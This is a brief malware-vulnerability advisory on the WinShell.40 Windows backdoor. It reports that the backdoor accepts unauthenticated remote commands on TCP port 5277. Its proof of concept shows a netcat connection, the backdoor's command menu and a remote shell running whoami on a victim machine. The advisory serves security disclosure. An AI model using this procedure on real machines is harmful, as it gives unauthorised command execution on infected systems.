Backdoor.Win32.WinShell.40 Code Execution

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/c98e23742807f3cb5a095f34e0eb0e52.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.WinShell.40  
Vulnerability: Unauthenticated Remote Command Execution  
Description: The malware listens on TCP port 5277, third-party attackers who can reach the system can execute OS commands further compromising the already infected machine.  
Type: PE32  
MD5: c98e23742807f3cb5a095f34e0eb0e52  
Vuln ID: MVID-2021-0310  
Disclosure: 07/27/2021  
  
Exploit/PoC:  
nc64.exe x.x.x.x 5277  
  
WinShell v4.0  
(C)2001 by janker  
http://www.bugsos.com  
  
? for help  
CMD>?  
  
i Install  
u Uninstall  
w Where  
r Reboot  
p Poweroff  
q Quit  
e End  
s Shell  
url download  
  
? for help  
CMD>s  
Microsoft Windows [Version 10.0.16299.309]  
(c) 2017 Microsoft Corporation. All rights reserved.  
  
C:\Users\Victim\Desktop>whoami  
whoami  
desktop-2c3iqho\victim  
  
C:\Users\Victim\Desktop>  
  
  
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`